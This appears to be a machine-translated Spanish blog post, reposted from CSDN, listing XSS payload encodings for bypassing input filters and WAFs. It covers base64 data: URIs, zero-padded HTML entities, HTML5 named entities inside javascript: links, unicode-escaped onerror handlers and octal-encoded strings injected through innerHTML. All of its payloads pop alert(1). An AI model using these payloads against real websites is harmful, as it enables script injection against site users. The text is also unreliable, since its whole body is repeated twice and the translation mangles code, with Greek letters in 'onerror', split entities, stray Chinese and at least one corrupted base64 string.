problema de codificación xss y omisión

Codificación de
URL de uso común : un signo de porcentaje y el número hexadecimal de 2 dígitos correspondiente a la codificación ASCII del carácter.
Por ejemplo, la codificación de URL de "/" es% 2F.

#:% 23 ;. 
:% 2e;
+:% 2b;
<:% 3c;
>:% 3e;
!:% 21;
Espacio:% ​​20;
&:% 26;
(:% 28;
):% 29;
":% 22;
':% 27;

Codificación de entidad HTML: comienza con & y termina con punto y coma. Por ejemplo, la codificación de "<" es "& lt;"
codificación de entidad HTML (decimal y hexadecimal)
como "<" html decimal: & # 60; html hexadecimal: & # x3c;

Codificación de JavaScript: js proporciona cuatro estrategias de codificación de caracteres

  1. Tres dígitos octales, si no son suficientes, agregue 0 al frente, por ejemplo, "<" está codificado como "\ 074"
  2. Dos dígitos hexadecimales, si no son suficientes, agregue 0 al frente, por ejemplo, "<" está codificado como "\ x3c"
  3. Cuatro dígitos hexadecimales, si no es suficiente, agregue 0 al frente, por ejemplo, "<" está codificado como "\ u003c"
  4. Para algunos caracteres de control, utilice estilos de escape especiales de tipo C (como \ n y \ r)

Escenarios de utilización específicos de cada código
(1) Codificación Base64
Datos de uso del protocolo de datos: tipo de recurso; codificación, contenido
La mayoría de los casos en los que se utiliza codificación base64 hasta ahora son así

  • <a href="Controllable Point">
  • <iframe src = "Punto controlable">

En este caso, si filtra <> '"javascript, entonces puede escribir xss así y usar codificación base64.


Codifique la base64 completa de <img src = x οnerrοr = alert (1)> como:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg ==

Datos de uso del protocolo de datos: tipo de recurso; tipo de codificación, contenido

<script> alert (1) </script>
(<img src = 1 οnerrοr = alert (1)> a 标签, object, iframe 不 支持)
<a href = "data: text / html; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg ==" > 111 </a>
<object data = "data: text / html; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg ==”> </object>
(chrome 不 支持)
<iframe src = “data: text / html; base64, PHNjcmlwydD2gxKBGVvc=” > </iframe>
(cromo, firefox 支持)

<a> Cómo utilizar etiquetas

<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”> prueba </a>

De esta manera, cuando se hace clic en el enlace de prueba A, la página del protocolo de datos se analizará y codificará en base64 en forma de html / text, y luego,
cuando se haga clic en el enlace a, el código base64 se decodificará y restaurará a nuestro original

<script> alert (1) </script> ¡Entonces la ventana aparece con éxito!

Escenarios de utilización específicos de cada código

(2) Los
navegadores de codificación de entidades HTML (decimal y hexadecimal) no analizarán esas codificaciones en js en etiquetas html. Onerror es especial. El contenido de onerror es analizado por js, por lo que se puede codificar con JSunicode, pero no todas las codificaciones solo pueden codificar nombres de funciones. Será incorrecto si se realiza toda la codificación.

Como <img src = 1 οnerrοr =
"\ u0061 \ u006c \ u0065 \ u0072 \ u0074 (1)"> este tipo de ventana emergente.
\ img src = 1 οnerrοr =
“\ u0061 \ u006c \ u0065 \ u0072 \ u0074`1`”>

Soporte onerror: html10, html16, jsunicode, js8 hexadecimal y js16 hexadecimal no compatibles

Se puede eliminar el punto y coma en la codificación HTML decimal y hexadecimal.
Se pueden agregar muchos ceros antes del número del código de entidad para omitir WAF. Por
ejemplo, el siguiente código se puede ejecutar correctamente:

<img src = 1
οnerrοr =
“& # 0097; & # 0108 & # 000101 & # 114; & # 116; & # 40; & # 39; & # 120; & # 115; & # 115; & # 39; & # 41; ”>

Nuevos códigos de nomenclatura de entidades HTML5, como
& colon; => [dos puntos] & NewLine; => [salto de línea]

如 <a href="javasc ript:alert(1)"> haga clic en </a>
<a href="javascript:alert(1)"> bronceado </a>

El analizador generalmente distribuye el trabajo en dos componentes: el analizador léxico (a veces llamado tokenizador) es responsable de descomponer la entrada en símbolos legales, y el analizador analiza la estructura del documento de acuerdo con las reglas gramaticales del idioma para construir un árbol de análisis y análisis léxico El procesador sabe cómo omitir caracteres extraños, como espacios en blanco y nuevas líneas.
<a href="javasc ript:alert(1)"> haga clic en </a>

Primero, se restaura el código html y luego se convierte en un salto de línea y dos puntos
<a href="javascript:alert(1)"> clic </a>

La razón por la que se puede ejecutar después de un salto de línea es porque el analizador léxico del navegador omitirá los caracteres no válidos, como espacios en blanco y saltos de línea. Debe incluirse entre comillas simples y dobles al ajustar, de lo contrario no se omitirá. Se omiten el retorno de carro y el avance de línea, y el evento on no es compatible.
Luego,
se ejecuta correctamente una instrucción completa <a href="javascript:alert(1)"> click </a>.

Escenarios de utilización específicos de cada código

(3) Codificación de
Javascript El pseudoprotocolo de Javascript se puede utilizar en el valor del atributo,
como <a href="javascript:alert('xss')"> 111 </a> haga clic en 111 para activar una ventana emergente. Solo se reconocen algunas codificaciones en javascript: Jsunicode js8 hexadecimal js16 hexadecimal

El primer caso:
el valor que ingresa se almacena en una variable y luego finalmente aparece en una función que puede ejecutar la cadena como código js. Tal como:

eval (), setTimeout (), setInterval ()
anteriores son todas las funciones que ejecutarán cadenas como código js.

El segundo caso:

var búsqueda = “可控 点”;
document.getElementById (). innerHTML = buscar;

Muchas de las situaciones anteriores aparecen después de realizar una búsqueda y luego muestran las palabras clave
que consulta. Si filtra <> '"&% y así sucesivamente. ¡Entonces salga a la página! ¡Es
lógico que esto sea seguro! Pero ingresamos Cambiar el valor a la codificación js,
por ejemplo, cambiamos a <img src = x
οnerrοr = alert (1)> y luego realizamos la codificación octal js ==> \ 74 \ 151 \ 155 \ 147 \ 40 \ 163 \ 162 \ 143 \ 75 \ 170 \ 40 \ 157 \ 156 \ 145 \ 162 \ 162 \ 157 \ 162 \ 75 \ 141 \ 154 \ 145 \ 162 \ 164 \ 50 \ 61 \ 51 \ 76 y luego, después de que el servidor lo acepta, no se encuentra ningún filtro para ser filtrado Luego ingresamos el innerHTML. ¡
Después de la decodificación js, nuestro código se restaura y se inyecta en la página web! ¡En este momento, el código se ejecuta! ¡Ventana emergente exitosa!

(4) Codificación de URL
Javascript: la codificación de URL se puede utilizar detrás del pseudoprotocolo.
Por ejemplo: <a href="javascript:%61lert(1)"> click me </a> puede ejecutar correctamente la ventana emergente, pero
img no se puede utilizar: <img src = x
οnerrοr = ”javascript: % 61lert (1) ”>

Porque el atributo href saltará a la URL que contiene y la URL se decodificará. El atributo onerror solo ejecutará JS, no saltará.
Al mismo tiempo, la siguiente codificación de URL se puede volver a realizar con la codificación de entidad (entidad HTML) :
<a href="javascript :%61lert(1)"> haz clic en mí </a>

Codificación de
URL de uso común : un signo de porcentaje y el número hexadecimal de 2 dígitos correspondiente a la codificación ASCII del carácter.
Por ejemplo, la codificación de URL de "/" es% 2F.

#:% 23 ;. 
:% 2e;
+:% 2b;
<:% 3c;
>:% 3e;
!:% 21;
Espacio:% ​​20;
&:% 26;
(:% 28;
):% 29;
":% 22;
':% 27;

Codificación de entidad HTML: comienza con & y termina con punto y coma. Por ejemplo, la codificación de "<" es "& lt;"
codificación de entidad HTML (decimal y hexadecimal)
como "<" html decimal: & # 60; html hexadecimal: & # x3c;

Codificación de JavaScript: js proporciona cuatro estrategias de codificación de caracteres

  1. Tres dígitos octales, si no son suficientes, agregue 0 al frente, por ejemplo, "<" está codificado como "\ 074"
  2. Dos dígitos hexadecimales, si no son suficientes, agregue 0 al frente, por ejemplo, "<" está codificado como "\ x3c"
  3. Cuatro dígitos hexadecimales, si no es suficiente, agregue 0 al frente, por ejemplo, "<" está codificado como "\ u003c"
  4. Para algunos caracteres de control, utilice estilos de escape especiales de tipo C (como \ n y \ r)

Escenarios de utilización específicos de cada código
(1) Codificación Base64
Datos de uso del protocolo de datos: tipo de recurso; codificación, contenido
La mayoría de los casos en los que se utiliza codificación base64 hasta ahora son así

  • <a href="Controllable Point">
  • <iframe src = "Punto controlable">

En este caso, si filtra <> '"javascript, entonces puede escribir xss así y usar codificación base64.


Codifique la base64 completa de <img src = x οnerrοr = alert (1)> como:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg ==

Datos de uso del protocolo de datos: tipo de recurso; tipo de codificación, contenido

<script> alert (1) </script>
(<img src = 1 οnerrοr = alert (1)> a 标签, object, iframe 不 支持)
<a href = "data: text / html; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg ==" > 111 </a>
<object data = "data: text / html; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg ==”> </object>
(chrome 不 支持)
<iframe src = “data: text / html; base64, PHNjcmlwydD2gxKBGVvc=” > </iframe>
(cromo, firefox 支持)

<a> Cómo utilizar etiquetas

<a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”> prueba </a>

De esta manera, cuando se hace clic en el enlace de prueba A, la página del protocolo de datos se analizará y codificará en base64 en forma de html / text, y luego,
cuando se haga clic en el enlace a, el código base64 se decodificará y restaurará a nuestro original

<script> alert (1) </script> ¡Entonces la ventana aparece con éxito!

Escenarios de utilización específicos de cada código

(2) Los
navegadores de codificación de entidades HTML (decimal y hexadecimal) no analizarán esas codificaciones en js en etiquetas html. Onerror es especial. El contenido de onerror es analizado por js, por lo que se puede codificar con JSunicode, pero no todas las codificaciones solo pueden codificar nombres de funciones. Será incorrecto si se realiza toda la codificación.

Como <img src = 1 οnerrοr =
"\ u0061 \ u006c \ u0065 \ u0072 \ u0074 (1)"> este tipo de ventana emergente.
\ img src = 1 οnerrοr =
“\ u0061 \ u006c \ u0065 \ u0072 \ u0074`1`”>

Soporte onerror: html10, html16, jsunicode, js8 hexadecimal y js16 hexadecimal no compatibles

Se puede eliminar el punto y coma en la codificación HTML decimal y hexadecimal.
Se pueden agregar muchos ceros antes del número del código de entidad para omitir WAF. Por
ejemplo, el siguiente código se puede ejecutar correctamente:

<img src = 1
οnerrοr =
“& # 0097; & # 0108 & # 000101 & # 114; & # 116; & # 40; & # 39; & # 120; & # 115; & # 115; & # 39; & # 41; ”>

Nuevos códigos de nomenclatura de entidades HTML5, como
& colon; => [dos puntos] & NewLine; => [salto de línea]

如 <a href="javasc ript:alert(1)"> haga clic en </a>
<a href="javascript:alert(1)"> bronceado </a>

El analizador generalmente distribuye el trabajo en dos componentes: el analizador léxico (a veces llamado tokenizador) es responsable de descomponer la entrada en símbolos legales, y el analizador analiza la estructura del documento de acuerdo con las reglas gramaticales del idioma para construir un árbol de análisis y análisis léxico El procesador sabe cómo omitir caracteres extraños, como espacios en blanco y nuevas líneas.
<a href="javasc ript:alert(1)"> haga clic en </a>

Primero, se restaura el código html y luego se convierte en un salto de línea y dos puntos
<a href="javascript:alert(1)"> clic </a>

La razón por la que se puede ejecutar después de un salto de línea es porque el analizador léxico del navegador omitirá los caracteres no válidos, como espacios en blanco y saltos de línea. Debe incluirse entre comillas simples y dobles al ajustar, de lo contrario no se omitirá. Se omiten el retorno de carro y el avance de línea, y el evento on no es compatible.
Luego,
se ejecuta correctamente una instrucción completa <a href="javascript:alert(1)"> click </a>.

Escenarios de utilización específicos de cada código

(3) Codificación de
Javascript El pseudoprotocolo de Javascript se puede utilizar en el valor del atributo,
como <a href="javascript:alert('xss')"> 111 </a> haga clic en 111 para activar una ventana emergente. Solo se reconocen algunas codificaciones en javascript: Jsunicode js8 hexadecimal js16 hexadecimal

El primer caso:
el valor que ingresa se almacena en una variable y luego finalmente aparece en una función que puede ejecutar la cadena como código js. Tal como:

eval (), setTimeout (), setInterval ()
anteriores son todas las funciones que ejecutarán cadenas como código js.

El segundo caso:

var búsqueda = “可控 点”;
document.getElementById (). innerHTML = buscar;

Muchas de las situaciones anteriores aparecen después de realizar una búsqueda y luego muestran las palabras clave
que consulta. Si filtra <> '"&% y así sucesivamente. ¡Entonces salga a la página! ¡Es
lógico que esto sea seguro! Pero ingresamos Cambiar el valor a la codificación js,
por ejemplo, cambiamos a <img src = x
οnerrοr = alert (1)> y luego realizamos la codificación octal js ==> \ 74 \ 151 \ 155 \ 147 \ 40 \ 163 \ 162 \ 143 \ 75 \ 170 \ 40 \ 157 \ 156 \ 145 \ 162 \ 162 \ 157 \ 162 \ 75 \ 141 \ 154 \ 145 \ 162 \ 164 \ 50 \ 61 \ 51 \ 76 y luego, después de que el servidor lo acepta, no se encuentra ningún filtro para ser filtrado Luego ingresamos el innerHTML. ¡
Después de la decodificación js, nuestro código se restaura y se inyecta en la página web! ¡En este momento, el código se ejecuta! ¡Ventana emergente exitosa!

(4) Codificación de URL
Javascript: la codificación de URL se puede utilizar detrás del pseudoprotocolo.
Por ejemplo: <a href="javascript:%61lert(1)"> click me </a> puede ejecutar correctamente la ventana emergente, pero
img no se puede utilizar: <img src = x
οnerrοr = ”javascript: % 61lert (1) ”>

Porque el atributo href saltará a la URL que contiene y la URL se decodificará. El atributo onerror solo ejecutará JS, no saltará.
Al mismo tiempo, la siguiente codificación de URL se puede volver a realizar con la codificación de entidad (entidad HTML) :
<a href="javascript :%61lert(1)"> haz clic en mí </a>

Supongo que te gusta

Origin blog.csdn.net/qq_43665434/article/details/114729725
Recomendado
Clasificación